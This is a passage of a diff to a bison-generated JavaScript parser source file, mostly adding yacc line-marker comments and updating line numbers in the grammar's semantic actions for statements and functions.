     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) ForNode(GLOBAL_DATA, (yyvsp[(4) - (10)].varDeclList).m_node, (yyvsp[(6) - (10)].expressionNode).m_node, (yyvsp[(8) - (10)].expressionNode).m_node, (yyvsp[(10) - (10)].statementNode).m_node, true),
                                                                                          mergeDeclarationLists((yyvsp[(4) - (10)].varDeclList).m_varDeclarations, (yyvsp[(10) - (10)].statementNode).m_varDeclarations),
@@ -4078,6 +4390,8 @@ yyreduce:
     break;
 
   case 248:
+
+/* Line 1455 of yacc.c  */
 #line 996 "parser/Grammar.y"
     {
                                             ForInNode* node = new (GLOBAL_DATA) ForInNode(GLOBAL_DATA, (yyvsp[(3) - (7)].expressionNode).m_node, (yyvsp[(5) - (7)].expressionNode).m_node, (yyvsp[(7) - (7)].statementNode).m_node);
@@ -4090,6 +4404,8 @@ yyreduce:
     break;
 
   case 249:
+
+/* Line 1455 of yacc.c  */
 #line 1005 "parser/Grammar.y"
     { ForInNode *forIn = new (GLOBAL_DATA) ForInNode(GLOBAL_DATA, *(yyvsp[(4) - (8)].ident), 0, (yyvsp[(6) - (8)].expressionNode).m_node, (yyvsp[(8) - (8)].statementNode).m_node, (yylsp[(5) - (8)]).first_column, (yylsp[(5) - (8)]).first_column - (yylsp[(4) - (8)]).first_column, (yylsp[(6) - (8)]).last_column - (yylsp[(5) - (8)]).first_column);
                                           setExceptionLocation(forIn, (yylsp[(4) - (8)]).first_column, (yylsp[(5) - (8)]).first_column + 1, (yylsp[(6) - (8)]).last_column);
@@ -4099,6 +4415,8 @@ yyreduce:
     break;
 
   case 250:
+
+/* Line 1455 of yacc.c  */
 #line 1011 "parser/Grammar.y"
     { ForInNode *forIn = new (GLOBAL_DATA) ForInNode(GLOBAL_DATA, *(yyvsp[(4) - (9)].ident), (yyvsp[(5) - (9)].expressionNode).m_node, (yyvsp[(7) - (9)].expressionNode).m_node, (yyvsp[(9) - (9)].statementNode).m_node, (yylsp[(5) - (9)]).first_column, (yylsp[(5) - (9)]).first_column - (yylsp[(4) - (9)]).first_column, (yylsp[(5) - (9)]).last_column - (yylsp[(5) - (9)]).first_column);
                                           setExceptionLocation(forIn, (yylsp[(4) - (9)]).first_column, (yylsp[(6) - (9)]).first_column + 1, (yylsp[(7) - (9)]).last_column);
@@ -4110,16 +4428,22 @@ yyreduce:
     break;
 
   case 251:
+
+/* Line 1455 of yacc.c  */
 #line 1021 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(0, 0, 0); ;}
     break;
 
   case 253:
+
+/* Line 1455 of yacc.c  */
 #line 1026 "parser/Grammar.y"
     { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(0, 0, 0); ;}
     break;
 
   case 255:
+
+/* Line 1455 of yacc.c  */
 #line 1031 "parser/Grammar.y"
     { ContinueNode* node = new (GLOBAL_DATA) ContinueNode(GLOBAL_DATA);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column); 
@@ -4128,6 +4452,8 @@ yyreduce:
     break;
 
   case 256:
+
+/* Line 1455 of yacc.c  */
 #line 1035 "parser/Grammar.y"
     { ContinueNode* node = new (GLOBAL_DATA) ContinueNode(GLOBAL_DATA);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column); 
@@ -4136,6 +4462,8 @@ yyreduce:
     break;
 
   case 257:
+
+/* Line 1455 of yacc.c  */
 #line 1039 "parser/Grammar.y"
     { ContinueNode* node = new (GLOBAL_DATA) ContinueNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column); 
@@ -4144,6 +4472,8 @@ yyreduce:
     break;
 
   case 258:
+
+/* Line 1455 of yacc.c  */
 #line 1043 "parser/Grammar.y"
     { ContinueNode* node = new (GLOBAL_DATA) ContinueNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column); 
@@ -4152,6 +4482,8 @@ yyreduce:
     break;
 
   case 259:
+
+/* Line 1455 of yacc.c  */
 #line 1050 "parser/Grammar.y"
     { BreakNode* node = new (GLOBAL_DATA) BreakNode(GLOBAL_DATA);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column);
@@ -4159,6 +4491,8 @@ yyreduce:
     break;
 
   case 260:
+
+/* Line 1455 of yacc.c  */
 #line 1053 "parser/Grammar.y"
     { BreakNode* node = new (GLOBAL_DATA) BreakNode(GLOBAL_DATA);
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column);
@@ -4166,6 +4500,8 @@ yyreduce:
     break;
 
   case 261:
+
+/* Line 1455 of yacc.c  */
 #line 1056 "parser/Grammar.y"
     { BreakNode* node = new (GLOBAL_DATA) BreakNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
@@ -4173,6 +4509,8 @@ yyreduce:
     break;
 
   case 262:
+
+/* Line 1455 of yacc.c  */
 #line 1059 "parser/Grammar.y"
     { BreakNode* node = new (GLOBAL_DATA) BreakNode(GLOBAL_DATA, *(yyvsp[(2) - (3)].ident));
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
@@ -4180,6 +4518,8 @@ yyreduce:
     break;
 
   case 263:
+
+/* Line 1455 of yacc.c  */
 #line 1065 "parser/Grammar.y"
     { ReturnNode* node = new (GLOBAL_DATA) ReturnNode(GLOBAL_DATA, 0); 
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column); 
@@ -4187,6 +4527,8 @@ yyreduce:
     break;
 
   case 264:
+
+/* Line 1455 of yacc.c  */
 #line 1068 "parser/Grammar.y"
     { ReturnNode* node = new (GLOBAL_DATA) ReturnNode(GLOBAL_DATA, 0); 
                                           setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(1) - (2)]).last_column); 
@@ -4194,6 +4536,8 @@ yyreduce:
     break;
 
   case 265:
+
+/* Line 1455 of yacc.c  */
 #line 1071 "parser/Grammar.y"
     { ReturnNode* node = new (GLOBAL_DATA) ReturnNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node); 
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
@@ -4201,6 +4545,8 @@ yyreduce:
     break;
 
   case 266:
+
+/* Line 1455 of yacc.c  */
 #line 1074 "parser/Grammar.y"
     { ReturnNode* node = new (GLOBAL_DATA) ReturnNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node); 
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column); 
@@ -4208,6 +4554,8 @@ yyreduce:
     break;
 
   case 267:
+
+/* Line 1455 of yacc.c  */
 #line 1080 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) WithNode(GLOBAL_DATA, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].statementNode).m_node, (yylsp[(3) - (5)]).last_column, (yylsp[(3) - (5)]).last_column - (yylsp[(3) - (5)]).first_column),
                                                                                          (yyvsp[(5) - (5)].statementNode).m_varDeclarations, (yyvsp[(5) - (5)].statementNode).m_funcDeclarations, (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].statementNode).m_features | WithFeature, (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].statementNode).m_numConstants);
@@ -4215,6 +4563,8 @@ yyreduce:
     break;
 
   case 268:
+
+/* Line 1455 of yacc.c  */
 #line 1086 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) SwitchNode(GLOBAL_DATA, (yyvsp[(3) - (5)].expressionNode).m_node, (yyvsp[(5) - (5)].caseBlockNode).m_node), (yyvsp[(5) - (5)].caseBlockNode).m_varDeclarations, (yyvsp[(5) - (5)].caseBlockNode).m_funcDeclarations,
                                                                                          (yyvsp[(3) - (5)].expressionNode).m_features | (yyvsp[(5) - (5)].caseBlockNode).m_features, (yyvsp[(3) - (5)].expressionNode).m_numConstants + (yyvsp[(5) - (5)].caseBlockNode).m_numConstants);
@@ -4222,11 +4572,15 @@ yyreduce:
     break;
 
   case 269:
+
+/* Line 1455 of yacc.c  */
 #line 1092 "parser/Grammar.y"
     { (yyval.caseBlockNode) = createNodeDeclarationInfo<CaseBlockNode*>(new (GLOBAL_DATA) CaseBlockNode(GLOBAL_DATA, (yyvsp[(2) - (3)].clauseList).m_node.head, 0, 0), (yyvsp[(2) - (3)].clauseList).m_varDeclarations, (yyvsp[(2) - (3)].clauseList).m_funcDeclarations, (yyvsp[(2) - (3)].clauseList).m_features, (yyvsp[(2) - (3)].clauseList).m_numConstants); ;}
     break;
 
   case 270:
+
+/* Line 1455 of yacc.c  */
 #line 1094 "parser/Grammar.y"
     { (yyval.caseBlockNode) = createNodeDeclarationInfo<CaseBlockNode*>(new (GLOBAL_DATA) CaseBlockNode(GLOBAL_DATA, (yyvsp[(2) - (5)].clauseList).m_node.head, (yyvsp[(3) - (5)].caseClauseNode).m_node, (yyvsp[(4) - (5)].clauseList).m_node.head),
                                                                                          mergeDeclarationLists(mergeDeclarationLists((yyvsp[(2) - (5)].clauseList).m_varDeclarations, (yyvsp[(3) - (5)].caseClauseNode).m_varDeclarations), (yyvsp[(4) - (5)].clauseList).m_varDeclarations),
@@ -4236,11 +4590,15 @@ yyreduce:
     break;
 
   case 271:
+
+/* Line 1455 of yacc.c  */
 #line 1102 "parser/Grammar.y"
     { (yyval.clauseList).m_node.head = 0; (yyval.clauseList).m_node.tail = 0; (yyval.clauseList).m_varDeclarations = 0; (yyval.clauseList).m_funcDeclarations = 0; (yyval.clauseList).m_features = 0; (yyval.clauseList).m_numConstants = 0; ;}
     break;
 
   case 273:
+
+/* Line 1455 of yacc.c  */
 #line 1107 "parser/Grammar.y"
     { (yyval.clauseList).m_node.head = new (GLOBAL_DATA) ClauseListNode(GLOBAL_DATA, (yyvsp[(1) - (1)].caseClauseNode).m_node);
                                           (yyval.clauseList).m_node.tail = (yyval.clauseList).m_node.head;
@@ -4251,6 +4609,8 @@ yyreduce:
     break;
 
   case 274:
+
+/* Line 1455 of yacc.c  */
 #line 1113 "parser/Grammar.y"
     { (yyval.clauseList).m_node.head = (yyvsp[(1) - (2)].clauseList).m_node.head;
                                           (yyval.clauseList).m_node.tail = new (GLOBAL_DATA) ClauseListNode(GLOBAL_DATA, (yyvsp[(1) - (2)].clauseList).m_node.tail, (yyvsp[(2) - (2)].caseClauseNode).m_node);
@@ -4262,26 +4622,36 @@ yyreduce:
     break;
 
   case 275:
+
+/* Line 1455 of yacc.c  */
 #line 1123 "parser/Grammar.y"
     { (yyval.caseClauseNode) = createNodeDeclarationInfo<CaseClauseNode*>(new (GLOBAL_DATA) CaseClauseNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node), 0, 0, (yyvsp[(2) - (3)].expressionNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants); ;}
     break;
 
   case 276:
+
+/* Line 1455 of yacc.c  */
 #line 1124 "parser/Grammar.y"
     { (yyval.caseClauseNode) = createNodeDeclarationInfo<CaseClauseNode*>(new (GLOBAL_DATA) CaseClauseNode(GLOBAL_DATA, (yyvsp[(2) - (4)].expressionNode).m_node, (yyvsp[(4) - (4)].sourceElements).m_node), (yyvsp[(4) - (4)].sourceElements).m_varDeclarations, (yyvsp[(4) - (4)].sourceElements).m_funcDeclarations, (yyvsp[(2) - (4)].expressionNode).m_features | (yyvsp[(4) - (4)].sourceElements).m_features, (yyvsp[(2) - (4)].expressionNode).m_numConstants + (yyvsp[(4) - (4)].sourceElements).m_numConstants); ;}
     break;
 
   case 277:
+
+/* Line 1455 of yacc.c  */
 #line 1128 "parser/Grammar.y"
     { (yyval.caseClauseNode) = createNodeDeclarationInfo<CaseClauseNode*>(new (GLOBAL_DATA) CaseClauseNode(GLOBAL_DATA, 0), 0, 0, 0, 0); ;}
     break;
 
   case 278:
+
+/* Line 1455 of yacc.c  */
 #line 1129 "parser/Grammar.y"
     { (yyval.caseClauseNode) = createNodeDeclarationInfo<CaseClauseNode*>(new (GLOBAL_DATA) CaseClauseNode(GLOBAL_DATA, 0, (yyvsp[(3) - (3)].sourceElements).m_node), (yyvsp[(3) - (3)].sourceElements).m_varDeclarations, (yyvsp[(3) - (3)].sourceElements).m_funcDeclarations, (yyvsp[(3) - (3)].sourceElements).m_features, (yyvsp[(3) - (3)].sourceElements).m_numConstants); ;}
     break;
 
   case 279:
+
+/* Line 1455 of yacc.c  */
 #line 1133 "parser/Grammar.y"
     { LabelNode* node = new (GLOBAL_DATA) LabelNode(GLOBAL_DATA, *(yyvsp[(1) - (3)].ident), (yyvsp[(3) - (3)].statementNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
@@ -4289,6 +4659,8 @@ yyreduce:
     break;
 
   case 280:
+
+/* Line 1455 of yacc.c  */
 #line 1139 "parser/Grammar.y"
     { ThrowNode* node = new (GLOBAL_DATA) ThrowNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
@@ -4297,6 +4669,8 @@ yyreduce:
     break;
 
   case 281:
+
+/* Line 1455 of yacc.c  */
 #line 1143 "parser/Grammar.y"
     { ThrowNode* node = new (GLOBAL_DATA) ThrowNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node);
                                           setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(2) - (3)]).last_column);
@@ -4305,6 +4679,8 @@ yyreduce:
     break;
 
   case 282:
+
+/* Line 1455 of yacc.c  */
 #line 1150 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) TryNode(GLOBAL_DATA, (yyvsp[(2) - (4)].statementNode).m_node, GLOBAL_DATA->propertyNames->nullIdentifier, false, 0, (yyvsp[(4) - (4)].statementNode).m_node),
                                                                                          mergeDeclarationLists((yyvsp[(2) - (4)].statementNode).m_varDeclarations, (yyvsp[(4) - (4)].statementNode).m_varDeclarations),
@@ -4315,6 +4691,8 @@ yyreduce:
     break;
 
   case 283:
+
+/* Line 1455 of yacc.c  */
 #line 1156 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) TryNode(GLOBAL_DATA, (yyvsp[(2) - (7)].statementNode).m_node, *(yyvsp[(5) - (7)].ident), ((yyvsp[(7) - (7)].statementNode).m_features & EvalFeature) != 0, (yyvsp[(7) - (7)].statementNode).m_node, 0),
                                                                                          mergeDeclarationLists((yyvsp[(2) - (7)].statementNode).m_varDeclarations, (yyvsp[(7) - (7)].statementNode).m_varDeclarations),
@@ -4325,6 +4703,8 @@ yyreduce:
     break;
 
   case 284:
+
+/* Line 1455 of yacc.c  */
 #line 1163 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) TryNode(GLOBAL_DATA, (yyvsp[(2) - (9)].statementNode).m_node, *(yyvsp[(5) - (9)].ident), ((yyvsp[(7) - (9)].statementNode).m_features & EvalFeature) != 0, (yyvsp[(7) - (9)].statementNode).m_node, (yyvsp[(9) - (9)].statementNode).m_node),
                                                                                          mergeDeclarationLists(mergeDeclarationLists((yyvsp[(2) - (9)].statementNode).m_varDeclarations, (yyvsp[(7) - (9)].statementNode).m_varDeclarations), (yyvsp[(9) - (9)].statementNode).m_varDeclarations),
@@ -4335,23 +4715,31 @@ yyreduce:
     break;
 
   case 285:
+
+/* Line 1455 of yacc.c  */
 #line 1172 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) DebuggerStatementNode(GLOBAL_DATA), 0, 0, 0, 0);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(2) - (2)])); ;}
     break;
 
   case 286:
+
+/* Line 1455 of yacc.c  */
 #line 1174 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) DebuggerStatementNode(GLOBAL_DATA), 0, 0, 0, 0);
                                           setStatementLocation((yyval.statementNode).m_node, (yylsp[(1) - (2)]), (yylsp[(1) - (2)])); AUTO_SEMICOLON; ;}
     break;
 
   case 287:
+
+/* Line 1455 of yacc.c  */
 #line 1179 "parser/Grammar.y"
     { (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) FuncDeclNode(GLOBAL_DATA, *(yyvsp[(2) - (7)].ident), (yyvsp[(6) - (7)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(5) - (7)].intValue), (yyvsp[(7) - (7)].intValue), (yylsp[(5) - (7)]).first_line)), 0, new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::FunctionStack>, ((*(yyvsp[(2) - (7)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | ClosureFeature, 0); setStatementLocation((yyvsp[(6) - (7)].functionBodyNode), (yylsp[(5) - (7)]), (yylsp[(7) - (7)])); (yyval.statementNode).m_funcDeclarations->data.append(static_cast<FuncDeclNode*>((yyval.statementNode).m_node)->body()); ;}
     break;
 
   case 288:
+
+/* Line 1455 of yacc.c  */
 #line 1181 "parser/Grammar.y"
     {
           (yyval.statementNode) = createNodeDeclarationInfo<StatementNode*>(new (GLOBAL_DATA) FuncDeclNode(GLOBAL_DATA, *(yyvsp[(2) - (8)].ident), (yyvsp[(7) - (8)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(6) - (8)].intValue), (yyvsp[(8) - (8)].intValue), (yylsp[(6) - (8)]).first_line), (yyvsp[(4) - (8)].parameterList).m_node.head), 0, new (GLOBAL_DATA) ParserArenaData<DeclarationStacks::FunctionStack>, ((*(yyvsp[(2) - (8)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0) | (yyvsp[(4) - (8)].parameterList).m_features | ClosureFeature, 0);
@@ -4363,11 +4751,15 @@ yyreduce:
     break;
 
   case 289:
+
+/* Line 1455 of yacc.c  */
 #line 1191 "parser/Grammar.y"
     { (yyval.funcExprNode) = createNodeInfo(new (GLOBAL_DATA) FuncExprNode(GLOBAL_DATA, GLOBAL_DATA->propertyNames->nullIdentifier, (yyvsp[(5) - (6)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(4) - (6)].intValue), (yyvsp[(6) - (6)].intValue), (yylsp[(4) - (6)]).first_line)), ClosureFeature, 0); setStatementLocation((yyvsp[(5) - (6)].functionBodyNode), (yylsp[(4) - (6)]), (yylsp[(6) - (6)])); ;}
     break;
 
   case 290:
+
+/* Line 1455 of yacc.c  */
 #line 1193 "parser/Grammar.y"
     {
           (yyval.funcExprNode) = createNodeInfo(new (GLOBAL_DATA) FuncExprNode(GLOBAL_DATA, GLOBAL_DATA->propertyNames->nullIdentifier, (yyvsp[(6) - (7)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(5) - (7)].intValue), (yyvsp[(7) - (7)].intValue), (yylsp[(5) - (7)]).first_line), (yyvsp[(3) - (7)].parameterList).m_node.head), (yyvsp[(3) - (7)].parameterList).m_features | ClosureFeature, 0);
@@ -4378,11 +4770,15 @@ yyreduce:
     break;
 
   case 291:
+
+/* Line 1455 of yacc.c  */
 #line 1199 "parser/Grammar.y"
     { (yyval.funcExprNode) = createNodeInfo(new (GLOBAL_DATA) FuncExprNode(GLOBAL_DATA, *(yyvsp[(2) - (7)].ident), (yyvsp[(6) - (7)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(5) - (7)].intValue), (yyvsp[(7) - (7)].intValue), (yylsp[(5) - (7)]).first_line)), ClosureFeature, 0); setStatementLocation((yyvsp[(6) - (7)].functionBodyNode), (yylsp[(5) - (7)]), (yylsp[(7) - (7)])); ;}
     break;
 
   case 292:
+
+/* Line 1455 of yacc.c  */
 #line 1201 "parser/Grammar.y"
     {
           (yyval.funcExprNode) = createNodeInfo(new (GLOBAL_DATA) FuncExprNode(GLOBAL_DATA, *(yyvsp[(2) - (8)].ident), (yyvsp[(7) - (8)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(6) - (8)].intValue), (yyvsp[(8) - (8)].intValue), (yylsp[(6) - (8)]).first_line), (yyvsp[(4) - (8)].parameterList).m_node.head), (yyvsp[(4) - (8)].parameterList).m_features | ClosureFeature, 0); 
@@ -4393,6 +4789,8 @@ yyreduce:
     break;
 
   case 293:
+
+/* Line 1455 of yacc.c  */
 #line 1210 "parser/Grammar.y"
     { (yyval.parameterList).m_node.head = new (GLOBAL_DATA) ParameterNode(GLOBAL_DATA, *(yyvsp[(1) - (1)].ident));
                                           (yyval.parameterList).m_features = (*(yyvsp[(1) - (1)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0;
@@ -4400,6 +4798,8 @@ yyreduce:
     break;
 
   case 294:
+
+/* Line 1455 of yacc.c  */
 #line 1213 "parser/Grammar.y"
     { (yyval.parameterList).m_node.head = (yyvsp[(1) - (3)].parameterList).m_node.head;
                                           (yyval.parameterList).m_features = (yyvsp[(1) - (3)].parameterList).m_features | ((*(yyvsp[(3) - (3)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0);
@@ -4407,27 +4807,37 @@ yyreduce:
     break;
 
   case 295:
+
+/* Line 1455 of yacc.c  */
 #line 1219 "parser/Grammar.y"
     { (yyval.functionBodyNode) = FunctionBodyNode::create(GLOBAL_DATA); ;}
     break;
 
   case 296:
+
+/* Line 1455 of yacc.c  */
 #line 1220 "parser/Grammar.y"
     { (yyval.functionBodyNode) = FunctionBodyNode::create(GLOBAL_DATA); ;}
     break;
 
   case 297:
+
+/* Line 1455 of yacc.c  */
 #line 1224 "parser/Grammar.y"
     { GLOBAL_DATA->parser->didFinishParsing(new (GLOBAL_DATA) SourceElements(GLOBAL_DATA), 0, 0, NoFeatures, (yylsp[(0) - (0)]).last_line, 0); ;}
     break;
 
   case 298:
+
+/* Line 1455 of yacc.c  */
 #line 1225 "parser/Grammar.y"
     { GLOBAL_DATA->parser->didFinishParsing((yyvsp[(1) - (1)].sourceElements).m_node, (yyvsp[(1) - (1)].sourceElements).m_varDeclarations, (yyvsp[(1) - (1)].sourceElements).m_funcDeclarations, (yyvsp[(1) - (1)].sourceElements).m_features, 
                                                                                 (yylsp[(1) - (1)]).last_line, (yyvsp[(1) - (1)].sourceElements).m_numConstants); ;}
     break;
 
   case 299:
+
+/* Line 1455 of yacc.c  */
 #line 1230 "parser/Grammar.y"
     { (yyval.sourceElements).m_node = new (GLOBAL_DATA) SourceElements(GLOBAL_DATA);
                                           (yyval.sourceElements).m_node->append((yyvsp[(1) - (1)].statementNode).m_node);
@@ -4439,6 +4849,8 @@ yyreduce:
     break;
 
   case 300:
+
+/* Line 1455 of yacc.c  */
 #line 1237 "parser/Grammar.y"
     { (yyval.sourceElements).m_node->append((yyvsp[(2) - (2)].statementNode).m_node);
                                           (yyval.sourceElements).m_varDeclarations = mergeDeclarationLists((yyvsp[(1) - (2)].sourceElements).m_varDeclarations, (yyvsp[(2) - (2)].statementNode).m_varDeclarations);
@@ -4449,188 +4861,261 @@ yyreduce:
     break;
 
   case 304:
+
+/* Line 1455 of yacc.c  */
 #line 1251 "parser/Grammar.y"
     { ;}
     break;
 
   case 305:
+
+/* Line 1455 of yacc.c  */
 #line 1252 "parser/Grammar.y"
     { ;}
     break;
 
   case 306:
+
+/* Line 1455 of yacc.c  */
 #line 1253 "parser/Grammar.y"
     { if (!GLOBAL_DATA->lexer->skipRegExp()) YYABORT; ;}
     break;
 
   case 307:
+
+/* Line 1455 of yacc.c  */
 #line 1254 "parser/Grammar.y"
     { if (!GLOBAL_DATA->lexer->skipRegExp()) YYABORT; ;}
     break;
 
   case 308:
+
+/* Line 1455 of yacc.c  */
 #line 1258 "parser/Grammar.y"
     { ;}
     break;
 
   case 309:
+
+/* Line 1455 of yacc.c  */
 #line 1259 "parser/Grammar.y"
     { ;}
     break;
 
   case 310:
+
+/* Line 1455 of yacc.c  */
 #line 1260 "parser/Grammar.y"
     { ;}
     break;
 
   case 311:
+
+/* Line 1455 of yacc.c  */
 #line 1261 "parser/Grammar.y"
     { if (*(yyvsp[(1) - (7)].ident) != "get" && *(yyvsp[(1) - (7)].ident) != "set") YYABORT; ;}
     break;
 
   case 312:
+
+/* Line 1455 of yacc.c  */
 #line 1262 "parser/Grammar.y"
     { if (*(yyvsp[(1) - (8)].ident) != "get" && *(yyvsp[(1) - (8)].ident) != "set") YYABORT; ;}
     break;
 
   case 316:
+
+/* Line 1455 of yacc.c  */
 #line 1272 "parser/Grammar.y"
     { ;}
     break;
 
   case 317:
+
+/* Line 1455 of yacc.c  */
 #line 1273 "parser/Grammar.y"
     { ;}
     break;
 
   case 318:
+
+/* Line 1455 of yacc.c  */
 #line 1275 "parser/Grammar.y"
     { ;}
     break;
 
   case 322:
+
+/* Line 1455 of yacc.c  */
 #line 1282 "parser/Grammar.y"
     { ;}
     break;
 
   case 517:
+
+/* Line 1455 of yacc.c  */
 #line 1650 "parser/Grammar.y"
     { ;}
     break;
 
   case 518:
+
+/* Line 1455 of yacc.c  */
 #line 1651 "parser/Grammar.y"
     { ;}
     break;
 
   case 520:
+
+/* Line 1455 of yacc.c  */
 #line 1656 "parser/Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 521:
+
+/* Line 1455 of yacc.c  */
 #line 1660 "parser/Grammar.y"
     { ;}
     break;
 
   case 522:
+
+/* Line 1455 of yacc.c  */
 #line 1661 "parser/Grammar.y"
     { ;}
     break;
 
   case 525:
+
+/* Line 1455 of yacc.c  */
 #line 1667 "parser/Grammar.y"
     { ;}
     break;
 
   case 526:
+
+/* Line 1455 of yacc.c  */
 #line 1668 "parser/Grammar.y"
     { ;}
     break;
 
   case 530:
+
+/* Line 1455 of yacc.c  */
 #line 1675 "parser/Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 533:
+
+/* Line 1455 of yacc.c  */
 #line 1684 "parser/Grammar.y"
     { ;}
     break;
 
   case 534:
+
+/* Line 1455 of yacc.c  */
 #line 1685 "parser/Grammar.y"
     { ;}
     break;
 
   case 539:
+
+/* Line 1455 of yacc.c  */
 #line 1702 "parser/Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 555:
+
+/* Line 1455 of yacc.c  */
 #line 1733 "parser/Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 557:
+
+/* Line 1455 of yacc.c  */
 #line 1735 "parser/Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 559:
+
+/* Line 1455 of yacc.c  */
 #line 1740 "parser/Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 561:
+
+/* Line 1455 of yacc.c  */
 #line 1742 "parser/Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 563:
+
+/* Line 1455 of yacc.c  */
 #line 1747 "parser/Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 565:
+
+/* Line 1455 of yacc.c  */
 #line 1749 "parser/Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 568:
+
+/* Line 1455 of yacc.c  */
 #line 1761 "parser/Grammar.y"
     { ;}
     break;
 
   case 569:
+
+/* Line 1455 of yacc.c  */
 #line 1762 "parser/Grammar.y"
     { ;}
     break;
 
   case 578:
+
+/* Line 1455 of yacc.c  */
 #line 1786 "parser/Grammar.y"
     { ;}
     break;
 
   case 580:
+
+/* Line 1455 of yacc.c  */
 #line 1791 "parser/Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 585:
+
+/* Line 1455 of yacc.c  */
 #line 1802 "parser/Grammar.y"
     { AUTO_SEMICOLON; ;}
     break;
 
   case 592:
+
+/* Line 1455 of yacc.c  */
 #line 1818 "parser/Grammar.y"
     { ;}
     break;
 
 
-/* Line 1267 of yacc.c.  */
-#line 4634 "generated/Grammar.tab.c"
+
+/* Line 1455 of yacc.c  */
+#line 5119 "generated/Grammar.tab.c"
       default: break;
     }
   YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc);
@@ -4706,7 +5191,7 @@ yyerrlab:
 
   if (yyerrstatus == 3)
     {
-      /* If just tried and failed to reuse look-ahead token after an
